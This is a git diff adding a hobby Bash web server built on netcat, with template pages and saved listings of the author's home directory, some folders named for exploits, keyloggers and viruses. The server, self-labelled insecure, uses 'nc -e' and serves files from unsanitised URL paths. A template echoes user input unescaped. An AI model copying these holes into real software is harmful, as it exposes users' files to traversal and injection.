b/bash/bash-httpd/bhp/index.bhp new file mode 100644 index 0000000..f31141b --- /dev/null +++ b/bash/bash-httpd/bhp/index.bhp @@ -0,0 +1,9 @@ +<h1>hello</h1> + +<b><?bhp + +echo this is BHP + +?> +</b> +bla bla bla diff --git a/bash/bash-httpd/bhp/test.bhp b/bash/bash-httpd/bhp/test.bhp new file mode 100644 index 0000000..fa191e1 --- /dev/null +++ b/bash/bash-httpd/bhp/test.bhp @@ -0,0 +1,19 @@ +#!/home/harvie/Work/bash-httpd/bhp/bhp +<?bhp source "$BHP_LIB"; echo "Pouzivam knihovnu $BHP_LIB<br /><br />" ?> + +<form action="?" method="GET"> + <input type="text" name="pocet" value="5" /> + <input type="text" name="text" value="test" /> + <input type="submit" value="go" /> +</form> +<hr /> + +<?bhp + pocet=$(urlvalue pocet); + text=$(urlvalue text); + for i in $(seq 1 $pocet); do + echo "$i: $text<br />"; + done; +?> + +<hr /> diff --git a/bash/bash-httpd/elinks.html b/bash/bash-httpd/elinks.html new file mode 100644 index 0000000..269e848 --- /dev/null +++ b/bash/bash-httpd/elinks.html @@ -0,0 +1,308 @@ +<html> +<head><title>/home/harvie/Work/ + + + +

Directory /home/harvie/Work/

+
drwx------ 110 harvie   harvie        4096 čen 18 23:49 ..
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 3d photo
+drwxrwxrwx   2 harvie   harvie        4096 dub 23 00:30 AndromedaPHP
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 Arduino
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 Bookz
+drwxr-xr-x   2 harvie   harvie        4096 úno 12 22:23 Corsair-Flash-32GB
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 Harvester
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ› 23 14:53 Maturita
+drwxr-xr-x   5 harvie   harvie        4096 led 13 22:08 OldWork
+drwxr-xr-x  38 harvie   harvie        4096 čen 11 00:15 PKGBUILDs
+drwxr-xr-x   5 harvie   harvie        4096 led 18 16:49 SConsExamples
+drwxr-xr-x   2 harvie   harvie        4096 bře 22 23:06 Zadání názvu nové složky
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 alarm
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 analyzing
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:07 antennas
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ› 12 02:31 arch-wiki
+drwxr-xr-x   2 harvie   harvie        4096 čen 19 00:26 bash-httpd
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 bashcrawl
+drwxr-xr-x   5 harvie   harvie        4096 kvÄ› 26 01:58 bbs
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 bhttpd
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 bircb
+drwxr-xr-x   2 harvie   harvie       32768 led 13 22:12 blendcache_cloth
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 butils
+drwxr-xr-x   8 harvie   harvie        4096 led 13 22:08 c
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 captcha
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 cecko
+drwxr-xr-x   5 harvie   harvie        4096 led 13 22:12 chat
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 contests
+drwxr-xr-x   7 harvie   harvie        4096 úno 16 23:22 corsair-usb-log
+drwxr-xr-x   2 harvie   harvie        4096 čen 10 14:18 crawler
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ› 26 01:40 cshell
+drwxr-xr-x   2 harvie   harvie        4096 čen 10 01:19 czech-tts
+drwxr-xr-x   3 harvie   harvie        4096 bře  9 13:36 debian-ports
+drwxr-xr-x   4 harvie   harvie        4096 led 13 22:06 dl
+drwxr-xr-x   4 harvie   harvie        4096 čen 17 02:26 dreammachine
+drwxr-xr-x   2 harvie   harvie        4096 bře 25 23:44 eset
+drwxr-xr-x   3 harvie   harvie        4096 čen 18 23:04 exploity
+drwxr-xr-x   4 harvie   harvie        4096 led 13 22:12 firefox-extensions
+drwxr-xr-x   4 harvie   harvie        4096 led 13 22:08 flashaudioplayer
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 fork
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 gbook
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 glade
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 grafika
+drwxr-xr-x   3 harvie   harvie        4096 kvÄ› 20 13:44 hdr_photo
+drwxr-xr-x   6 harvie   harvie        4096 led 13 22:08 hhgame
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:07 hlds
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:11 infect
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 initbackdoor
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 input
+drwxr-xr-x   9 harvie   harvie        4096 kvÄ› 17 23:23 jukebox
+drwxr-xr-x   6 harvie   harvie        4096 kvÄ› 13 04:25 kdenlive
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 kexploit
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 keylogger
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 lastfm
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 lightspeed
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 lockpix
+drwxr-xr-x   3 harvie   harvie        4096 kvÄ›  6 10:46 lolbot
+drwxr-xr-x   5 harvie   harvie        4096 led 13 22:07 mardera.cz
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 microsux
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 monobook
+drwxr-xr-x   2 harvie   harvie        4096 bře  6 12:06 motivators
+drwxr-xr-x   2 harvie   harvie        4096 bře 15 01:29 nano-crypt
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 netinfect
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 neuronics
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 overfloo
+drwxr-xr-x   7 harvie   harvie        4096 led 13 22:12 pebuilder
+drwxr-xr-x  13 harvie   harvie        4096 led 13 22:07 phpbb-backup
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 pico
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 playerMiniPackage
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 praxe
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 praxe-ssps2008
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 preklad
+drwxr-xr-x   4 harvie   harvie        4096 čen 10 00:54 python
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:12 roman-alarm
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 rozepsane_clanky
+drwxr-xr-x   4 harvie   harvie        4096 kvÄ›  1 13:10 rozhledna-krumlov
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 rqbeta
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:06 rudna.net
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 scannery
+drwxr-xr-x   5 harvie   harvie        4096 led 18 18:48 scio
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 scom
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 shellcodegenerator
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 sis
+drwxr-xr-x   7 harvie   harvie        4096 led 13 22:08 skripta
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:12 skriptad
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:07 soom_walp
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 spider_seed
+drwxr-xr-x   5 harvie   harvie        4096 led 13 22:12 src
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ›  3 21:22 stickerz
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 suplovani
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ›  3 21:21 t-shock
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ› 12 22:43 tablo
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 textdraw
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 texture
+drwxr-xr-x   4 harvie   harvie        4096 led 13 22:08 torchat
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 trace.dump.cz-lkm
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 tv-b-gone
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 tvbgone
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ›  5 23:05 usbinfect
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:06 virii-sources
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 virtualization
+drwxr-xr-x   2 harvie   harvie        4096 kvÄ› 23 22:01 virustotal
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 vyleceni
+drwxr-xr-x   2 harvie   harvie        4096 bře 12 19:23 warxing
+drwxr-xr-x   3 harvie   harvie        4096 led 13 22:08 wifi
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 wings
+drwxr-xr-x   2 harvie   harvie        4096 led 13 22:08 xbrain
+drwxr-xr-x   5 harvie   harvie        4096 čen 10 15:55 zenman
+-rwxr-xr-x   1 harvie   harvie       88111 led  9 20:24 Blender-Linux.png
+-rwxr-xr-x   1 harvie   harvie        8869 led  9 20:24 Clockwork_Orange.doc
+-rwxr-xr-x   1 harvie   harvie      748344 led  9 20:24 Filemon.exe
+-rwxr-xr-x   1 harvie   harvie       61523 led  9 20:09 Goniometricke_vzorce.pdf
+-rwxr-xr-x   1 harvie   harvie     3740371 led  9 20:09 HEAD01.wings
+-rwxr-xr-x   1 harvie   harvie       30018 led  9 20:09 HEAD02.tga
+-rwxr-xr-x   1 harvie   harvie     3499006 led  9 20:09 HEAD02.wings
+-rwxr-xr-x   1 harvie   harvie     1638418 led  9 20:09 HEAD03.tga
+-rwxr-xr-x   1 harvie   harvie     4184131 led  9 20:09 HEAD03.wings
+-rwxr-xr-x   1 harvie   harvie       50231 led  9 20:24 Keylogging fun for C_C++ Beginners « BotHack.html
+-rwxr-xr-x   1 harvie   harvie        7372 led  9 20:08 MS-Ne.txt
+-rwxr-xr-x   1 harvie   harvie       20898 led  9 20:09 Policie_auta.jpg
+-rwxr-xr-x   1 harvie   harvie      228580 led  9 20:24 RFI.list
+-rwxr-xr-x   1 harvie   harvie       55864 led  9 20:08 Souctove_goniometricke_vzorce.pdf
+-rwxr-xr-x   1 harvie   harvie       16364 led  9 20:09 Warner_Brothers_logo.jpg
+-rwxr-xr-x   1 harvie   harvie      150777 led  9 20:24 Wings_3D-Debian.png
+-rwxr-xr-x   1 harvie   harvie        1483 úno 10 00:11 ad-hoc-bridge
+-rwxr-xr-x   1 harvie   harvie         721 led  9 20:09 ajax-window.html
+-rwxr-xr-x   1 harvie   harvie        3169 led  9 20:09 animatrix.html
+-rwxr-xr-x   1 harvie   harvie       58885 led  9 20:24 apache2-security-10_tips.html
+-rwxr-xr-x   1 harvie   harvie         583 led  9 20:09 arpoison.bash
+-rw-r--r--   1 harvie   root         34816 úno 12 20:49 avision-hp-sj-5370C.log
+-rwxr-xr-x   1 harvie   harvie       41412 led  9 20:24 axis
+-rwxr-xr-x   1 harvie   harvie         562 led  9 20:09 axis.htm
+-rwxr-xr-x   1 harvie   harvie      128806 led  9 20:09 axis.png
+-rwxr-xr-x   1 harvie   harvie    17246441 led  9 20:08 axis.swf
+-rwxr-xr-x   1 harvie   harvie        2939 led  9 20:24 axis_sux.txt
+-rwxr-xr-x   1 harvie   harvie        1402 led  9 20:09 bannerfind.php
+-rwxr-xr-x   1 harvie   harvie         572 led  9 20:09 bash-worm.htm
+-rwxr-xr-x   1 harvie   harvie     2401637 led  9 20:08 bash-worm.swf
+-rwxr-xr-x   1 harvie   harvie       21027 led  9 20:09 blender-spaceship.jpg
+-rwxr-xr-x   1 harvie   harvie        2929 led  9 20:09 botlib.php
+-rwxr-xr-x   1 harvie   harvie         890 led  9 20:09 bsod.bat
+-rwxr-xr-x   1 harvie   harvie         154 led  9 20:24 bsod.reg
+-rwxr-xr-x   1 harvie   harvie         906 led  9 20:24 bsod.sh
+-rwxr-xr-x   1 harvie   harvie         858 led  9 20:09 caudacious.sh
+-rwxr-xr-x   1 harvie   harvie        9384 led  9 20:09 cecko.ods
+-rwxr-xr-x   1 harvie   harvie        8267 dub 28 23:49 cjl-farma_zvirat.doc
+-rwxr-xr-x   1 harvie   harvie      207232 led  9 20:09 cloth.blend
+-rwxr-xr-x   1 harvie   harvie      207232 led  9 20:09 cloth.blend1
+-rwxr-xr-x   1 harvie   harvie         315 led  9 20:09 config.php
+-rwxr-xr-x   1 harvie   harvie       13907 led  9 20:09 corner.gif
+-rw-r--r--   1 harvie   harvie      420501 úno 16 18:49 corsair-usb-log.tar.gz
+-rwxr-xr-x   1 harvie   harvie     4194322 led  9 20:08 cube1_auv2.tga
+-rw-r--r--   1 harvie   harvie      168880 bře  6 12:04 cztekpz4.gif
+-rwxr-xr-x   1 harvie   harvie       32981 led  9 20:09 daemoncze-dos.png
+-rwxr-xr-x   1 harvie   harvie         399 led  9 20:09 dalive
+-rwxr-xr-x   1 harvie   harvie         296 led  9 20:08 dcform.html
+-rwxr-xr-x   1 harvie   harvie        1136 led  9 20:08 dcreq.txt
+-rwxr-xr-x   1 harvie   harvie          58 led  9 20:08 de64.php
+-rwxr-xr-x   1 harvie   harvie         563 led  9 20:09 debgames.txt
+-rwxr-xr-x   1 harvie   harvie          23 led  9 20:09 debug.txt
+-rwxr-xr-x   1 harvie   harvie       29099 led  9 20:53 default-levelset
+-rwxr-xr-x   1 harvie   harvie          60 led  9 20:09 defaultmac.txt
+-rwxr-xr-x   1 harvie   harvie         118 led  9 20:09 disableall.txt
+-rwxr-xr-x   1 harvie   harvie        1124 led  9 20:09 dsniff.services
+-rwxr-xr-x   1 harvie   harvie       25725 led  9 20:09 ducks.txt
+-rwxr-xr-x   1 harvie   harvie         380 led  9 20:08 embedlinux.txt
+-rwxr-xr-x   1 harvie   harvie        2439 led  9 20:09 event0.txt
+-rwxr-xr-x   1 harvie   harvie         326 led  9 20:09 falive
+-rwxr-xr-x   1 harvie   harvie       79628 led  9 20:09 fbmodes.pdf
+-rwxr-xr-x   1 harvie   harvie        3649 led  9 20:09 fbmodes.txt
+-rwxr-xr-x   1 harvie   harvie       17302 led  9 20:08 fuzzer.pl
+-rw-r--r--   1 harvie   harvie        4889 bře 17 08:05 fyzika-referat.txt
+-rw-r--r--   1 harvie   harvie        4889 bře 16 18:45 fyzika-referat.txt~
+-rwxr-xr-x   1 harvie   harvie        7559 led  9 20:09 h01.svg
+-rwxr-xr-x   1 harvie   harvie     2298252 led  9 20:09 hPong_0.2b.mpeg
+-rwxr-xr-x   1 harvie   harvie        6598 led  9 20:09 hackujeme_panelak_01.dia
+-rwxr-xr-x   1 harvie   harvie       70862 led  9 20:08 hackujeme_panelak_01.png
+-rwxr-xr-x   1 harvie   harvie        3489 led  9 20:08 haluz1.png
+-rwxr-xr-x   1 harvie   harvie       19754 led  9 20:09 haluz2.png
+-rwxr-xr-x   1 harvie   harvie       18388 led  9 20:09 harvie.nanorc
+-rwxr-xr-x   1 harvie   harvie       30018 led  9 20:09 head.tga
+-rwxr-xr-x   1 harvie   harvie          24 led  9 20:09 hello.php
+-rwxr-xr-x   1 harvie   harvie        9626 led  9 20:09 hfshack.py
+-rwxr-xr-x   1 harvie   harvie         566 led  9 20:09 hhgame.htm
+-rwxr-xr-x   1 harvie   harvie      897139 led  9 20:09 hhgame.swf
+-rwxr-xr-x   1 harvie   harvie        2158 led  9 20:09 hlasky.txt
+-rwxr-xr-x   1 harvie   harvie      373837 led  9 20:09 hlava01.png
+-rwxr-xr-x   1 harvie   harvie      234782 led  9 20:08 hurka.png
+-rwxr-xr-x   1 harvie   harvie       85094 led  9 20:09 iislist.txt
+-rwxr-xr-x   1 harvie   harvie         179 led  9 20:09 infect.bash
+-rwxr-xr-x   1 harvie   harvie      142920 led  9 20:08 inflow.blend
+-rwxr-xr-x   1 harvie   harvie      142636 led  9 20:24 inflow.blend1
+-rwxr-xr-x   1 harvie   harvie        5439 led  9 20:24 it-ug.txt
+-rwxr-xr-x   1 harvie   harvie         280 led  9 20:08 jobs2oo8.txt
+-rwxr-xr-x   1 harvie   harvie        1145 led  9 20:09 jsget.html
+-rwxr-xr-x   1 harvie   harvie         680 led  9 20:09 jskeylog.html
+-rwxr-xr-x   1 harvie   harvie         308 led  9 20:24 kalive
+-rwxr-xr-x   1 harvie   harvie       32753 led  9 20:09 kernel.txt
+-rwxr-xr-x   1 harvie   harvie      119964 led  9 20:08 keyboardhook.aspx.html
+-rwxr-xr-x   1 harvie   harvie      159744 led  9 20:09 kf-mudru.doc
+-rwxr-xr-x   1 harvie   harvie        9805 led  9 20:08 kombi.txt
+-rw-r--r--   1 harvie   harvie       15332 kvÄ› 20 22:56 kultuni_denik.odt
+-rwxr-xr-x   1 harvie   harvie       59313 led  9 20:24 kurz-c.doc
+-rwxr-xr-x   1 harvie   harvie        2165 led  9 20:08 kybca-cbp.txt
+-rwxr-xr-x   1 harvie   harvie        2735 led  9 20:09 kybca-cbp2.txt
+-rw-r--r--   1 harvie   harvie       16416 úno  9 18:59 kybca-cyberpunk-topic.txt
+-rw-r--r--   1 harvie   harvie       26548 úno  9 20:33 kybca-cyberpunk-topic2.html
+-rw-r--r--   1 harvie   harvie       25411 úno  9 20:27 kybca-cyberpunk-topic2.html~
+-rw-r--r--   1 harvie   harvie       16440 úno  9 19:26 kybca-cyberpunk-topic2.txt
+-rw-r--r--   1 harvie   harvie       16167 úno 11 14:11 kybca-cyberpunk-topic3-tidy.html
+-rw-r--r--   1 harvie   harvie       16174 úno 11 14:00 kybca-cyberpunk-topic3-tidy.html~
+-rw-r--r--   1 harvie   harvie       16181 úno 11 13:53 kybca-cyberpunk-topic3.html
+-rw-r--r--   1 harvie   harvie       16181 úno 11 13:46 kybca-cyberpunk-topic3.html~
+-rwxr-xr-x   1 harvie   harvie         900 led  9 20:08 kybcapost.html
+-rw-r--r--   1 harvie   harvie        2185 úno  8 23:28 kybcaworm.txt
+-rw-r--r--   1 harvie   harvie        2213 úno  8 23:09 kybcaworm.txt~
+-rwxr-xr-x   1 harvie   harvie         805 led  9 20:09 kyberia.sk.txt
+-rwxr-xr-x   1 harvie   harvie        3769 led  9 20:08 lastfm.txt
+-rwxr-xr-x   1 harvie   harvie       37748 led  9 20:09 lionwiki-monobook_0.2-final.tar.bz2
+-rwxr-xr-x   1 harvie   harvie       28570 led  9 20:09 lockpick-preview2.JPG
+-rwxr-xr-x   1 harvie   harvie        7017 led  9 20:09 logo.gif
+-rwxr-xr-x   1 harvie   harvie       14219 led  9 20:08 logo.svg
+-rwxr-xr-x   1 harvie   harvie        1181 led  9 20:08 lol.conf
+-rwxr-xr-x   1 harvie   harvie     7225404 led  9 20:09 lolhack.mpeg
+-rwxr-xr-x   1 harvie   harvie        2386 led  9 20:09 madarsko.txt
+-rwxr-xr-x   1 harvie   harvie        3529 led  9 20:08 mbox
+-rw-r--r--   1 harvie   harvie      232448 led 22 23:07 mk-praktikant-prihlaska.doc
+-rwxr-xr-x   1 harvie   harvie        1777 led  9 20:08 mod-security.txt
+-rwxr-xr-x   1 harvie   harvie        2241 led  9 20:09 mod_security-basic.txt
+-rwxr-xr-x   1 harvie   harvie      281339 led  9 20:09 moi.JPG
+-rwxr-xr-x   1 harvie   harvie          32 led  9 20:24 montenegro.txt
+-rwxr-xr-x   1 harvie   harvie       29699 led  9 20:24 motogp-win.png
+-rwxr-xr-x   1 harvie   harvie        2332 led  9 20:24 mples-2008.txt
+-rwxr-xr-x   1 harvie   harvie       19442 led  9 20:09 musil-kocarkarna.png
+-rwxr-xr-x   1 harvie   harvie        1823 led  9 20:24 nc-cnc.txt
+-rwxr-xr-x   1 harvie   harvie       12546 led  9 20:08 ona-uvaha-1.doc
+-rwxr-xr-x   1 harvie   harvie       18808 led  9 20:09 ona-uvaha-2.doc
+-rw-r--r--   1 harvie   harvie       21798 bře 23 01:11 ona-uvaha-3.doc
+-rwxr-xr-x   1 harvie   harvie      142232 led  9 20:09 pacman.blend
+-rwxr-xr-x   1 harvie   harvie       12021 led  9 20:09 pernicek-clanky.txt
+-rwxr-xr-x   1 harvie   harvie        4706 led  9 20:09 phpfusion.php
+-rwxr-xr-x   1 harvie   harvie        9373 led  9 20:08 pixart.png
+-rwxr-xr-x   1 harvie   harvie       13197 led  9 20:09 pixart_iso.png
+-rwxr-xr-x   1 harvie   harvie        6340 led  9 20:09 pixtank.png
+-rwxr-xr-x   1 harvie   harvie        3107 led  9 20:09 prielom-cbp.html
+-rw-r--r--   1 harvie   harvie         111 úno 12 17:34 promoce.txt
+-rwxr-xr-x   1 harvie   harvie        3097 led  9 20:08 proslov.php
+-rwxr-xr-x   1 harvie   harvie        2890 led  9 20:24 proslov.php.old
+-rwxr-xr-x   1 harvie   harvie          58 led  9 20:09 rchat.php
+-rw-r--r--   1 harvie   harvie          38 kvÄ›  1 12:29 rozhledna.txt
+-rwxr-xr-x   1 harvie   harvie          35 led  9 20:09 rozvrh-cecko.txt
+-rwxr-xr-x   1 harvie   harvie       37639 led  9 20:09 runa-ss.jpg
+-rwxr-xr-x   1 harvie   harvie          78 led  9 20:09 scan.txt
+-rwxr-xr-x   1 harvie   harvie         465 led  9 20:08 scon
+-rwxr-xr-x   1 harvie   harvie         729 led  9 20:07 serialz.txt
+-rwxr-xr-x   1 harvie   harvie         849 led  9 20:09 serv_seek.php
+-rw-r--r--   1 harvie   harvie        2004 dub 22 18:38 server-fail.txt
+-rw-r--r--   1 harvie   harvie        1907 dub 22 16:01 server-fail.txt~
+-rwxr-xr-x   1 harvie   harvie        4505 led  9 20:09 server00-v.txt
+-rwxr-xr-x   1 harvie   harvie      139289 led  9 20:09 servlist.txt
+-rwxr-xr-x   1 harvie   harvie         207 led  9 20:09 sk-server-mac.txt.txt
+-rw-r--r--   1 harvie   harvie        9542 čen 18 16:29 skills.html
+-rw-r--r--   1 harvie   harvie        9472 čen 18 16:28 skills.html~
+-rwxr-xr-x   1 harvie   harvie         313 led  9 20:09 skoda.html
+-rwxr-xr-x   1 harvie   harvie      196590 led  9 20:09 soomasek.png
+-rwxr-xr-x   1 harvie   harvie         587 led  9 20:08 souctove_vzorce.txt
+-rwxr-xr-x   1 harvie   harvie      152368 led  9 20:09 spaceship.blend
+-rwxr-xr-x   1 harvie   harvie      151908 led  9 20:08 spaceship.blend1
+-rwxr-xr-x   1 harvie   harvie     1048594 led  9 20:09 sphere3_auv.tga
+-rwxr-xr-x   1 harvie   harvie     1048594 led  9 20:08 sphere3_copy4_auv2.tga
+-rwxr-xr-x   1 harvie   harvie        1630 led  9 20:24 ssps-wiki.txt
+-rwxr-xr-x   1 harvie   harvie        6944 led  9 20:08 strejcek-certifikace.txt
+-rwxr-xr-x   1 harvie   harvie         739 led  9 20:09 strejcek-hosting.txt
+-rwxr-xr-x   1 harvie   harvie         707 úno 11 21:48 studenti.txt
+-rwxr-xr-x   1 harvie   harvie        2958 led  9 20:09 studentssps-nikto.txt
+-rwxr-xr-x   1 harvie   harvie          83 led  9 20:08 sys_call_table.sh
+-rwxr-xr-x   1 harvie   harvie       16826 led  9 20:09 test.html
+-rwxr-xr-x   1 harvie   harvie       84084 led  9 20:24 tiger-scan.txt
+-rwxr-xr-x   1 harvie   harvie         318 led  9 20:09 trackers-open.txt
+-rwxr-xr-x   1 harvie   harvie          84 led  9 20:24 ttyUSB0.default
+-rwxr-xr-x   1 harvie   harvie       16384 led  9 20:08 tucnak-budik.jpg
+-rwxr-xr-x   1 harvie   harvie         324 led  9 20:09 turbo.bash
+-rwxr-xr-x   1 harvie   harvie         240 led  9 20:24 vanoce.txt
+-rwxr-xr-x   1 harvie   harvie         270 led  9 20:09 vidrec.txt
+-rwxr-xr-x   1 harvie   harvie      121801 led  9 20:08 vista_logo[5].png
+-rwxr-xr-x   1 harvie   harvie        7356 led  9 20:09 vykriky
+-rwxr-xr-x   1 harvie   harvie         299 led  9 20:24 vykriky.c
+-rwxr-xr-x   1 harvie   harvie        7798 led  9 20:09 vyuka-it.txt
+-rwxr-xr-x   1 harvie   harvie       49577 led  9 20:09 warna.JPG
+-rwxr-xr-x   1 harvie   harvie      938654 led  9 20:08 warnabrother.bmp
+-rwxr-xr-x   1 harvie   harvie          99 led  9 20:08 wine_sandbox.bash
+-rwxr-xr-x   1 harvie   harvie       95744 led  9 20:09 word.doc
+-rwxr-xr-x   1 harvie   harvie        1251 led  9 20:07 xpbsod.sh
+-rwxr-xr-x   1 harvie   harvie        1422 led  9 20:08 youtube.sh
+-rwxr-xr-x   1 harvie   harvie      100960 led  9 20:24 youtube_hack.html
+-rwxr-xr-x   1 harvie   harvie       23121 led  9 20:09 zivotopis.abw
+-rwxr-xr-x   1 harvie   harvie       35865 led  9 20:09 zivotopis.doc
+-rwxr-xr-x   1 harvie   harvie        8478 led  9 20:09 zivotopis.html
+
+
+ + diff --git a/bash/bash-httpd/httpd.bash b/bash/bash-httpd/httpd.bash new file mode 100755 index 0000000..9c09773 --- /dev/null +++ b/bash/bash-httpd/httpd.bash @@ -0,0 +1,36 @@ +#!/bin/bash +#HTTPd.bash (Harvie 2oo9) +#WebServer+Small-INSECURE+Emergency+Filelisting+Mime+Unicode-BASH +#TODO: Security, Dynamic pages in BASH/PHP, Speed +#dependencies: GNU NetCat, Links, sed + +listen_port=8080; +web_root='/home/harvie'; +nc='nc'; links='links'; #binaries + +if [ "$1" == '--serve' ]; then + urldecode() { echo -e $( echo "$@" | sed -e 's/+/ /g;s/%/\\x/g' ); } + + get="$( head -n 1 | cut -d ' ' -f 2 )"; + get="$web_root$(urldecode $get)"; + + if [ -d "$get" ]; then content_type='text/html;charset=utf-8'; + else content_type=$(file -i "$get" | cut -d ' ' -f 2-); fi; + + echo -ne \ +'HTTP/1.1 200 OK +Server: HTTPd.bash +Content-Type: '"$content_type"' +Connection: close\n\n'; + + if [ -d "$get" ]; then "$links" -source "$get"; else cat "$get"; fi; + exit; +fi; + +listen() { "$nc" -l -p "$listen_port" -e "kill -s USR1 '$$' & '$0' --serve"; } + +trap 'listen &' SIGUSR1; +trap "echo -e '\nHTTPd.bash stoped'; exit" SIGINT; +kill -s USR1 "$$"; +echo -e "HTTPd.bash started\nHarvie 2oo9\nport: $listen_port\nroot: $web_root" +while true; do sleep 0.1; done; diff --git a/bash/bash-httpd/httpd.bash.save b/bash/bash-httpd/httpd.bash.save new file mode 100644 index 0000000..6468b2d --- /dev/null +++ b/bash/bash-httpd/httpd.bash.save @@ -0,0 +1,8 @@ +#!/bin/bash + +listen_port=8080; +web_root='./'; + +while true; do + nc -l -p $listen_port -e "$0 --client"; +done; diff --git a/bash/bash-httpd/links.html b/bash/bash-httpd/links.html new file mode 100644 index 0000000..e371e52 --- /dev/null +++ b/bash/bash-httpd/links.html @@ -0,0 +1,299 @@ +/home/harvie/Work/

Directory /home/harvie/Work/

drwx------ 110 harvie   harvie       4096 Jun 18 23:49 ..
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 3d photo
+drwxrwxrwx   2 harvie   harvie       4096 Apr 23 00:30 AndromedaPHP
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 Arduino
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 Bookz
+drwxr-xr-x   2 harvie   harvie       4096 Feb 12 22:23 Corsair-Flash-32GB
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 Harvester
+drwxr-xr-x   2 harvie   harvie       4096 May 23 14:53 Maturita
+drwxr-xr-x   5 harvie   harvie       4096 Jan 13 22:08 OldWork
+drwxr-xr-x  38 harvie   harvie       4096 Jun 11 00:15 PKGBUILDs
+drwxr-xr-x   5 harvie   harvie       4096 Jan 18 16:49 SConsExamples
+drwxr-xr-x   2 harvie   harvie       4096 Mar 22 23:06 Zadání názvu nové složky
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 alarm
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 analyzing
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:07 antennas
+drwxr-xr-x   2 harvie   harvie       4096 May 12 02:31 arch-wiki
+drwxr-xr-x   2 harvie   harvie       4096 Jun 19 00:26 bash-httpd
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 bashcrawl
+drwxr-xr-x   5 harvie   harvie       4096 May 26 01:58 bbs
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 bhttpd
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 bircb
+drwxr-xr-x   2 harvie   harvie      32768 Jan 13 22:12 blendcache_cloth
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 butils
+drwxr-xr-x   8 harvie   harvie       4096 Jan 13 22:08 c
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:08 captcha
+drwxr-xr-x   3 harvie   harvie       4096 Jan 13 22:08 cecko
+drwxr-xr-x   5 harvie   harvie       4096 Jan 13 22:12 chat
+drwxr-xr-x   2 harvie   harvie       4096 Jan 13 22:07 contests
+drwxr-xr-x   7 harvie   harvie       4096 Feb 16 23:22 corsair-usb-log
+drwxr-xr-x   2 harvie   harvie       4096 Jun 10 14:18 crawler
+drwxr-xr-x   2 harvie   harvie       4096 May 26 01:40 cshell
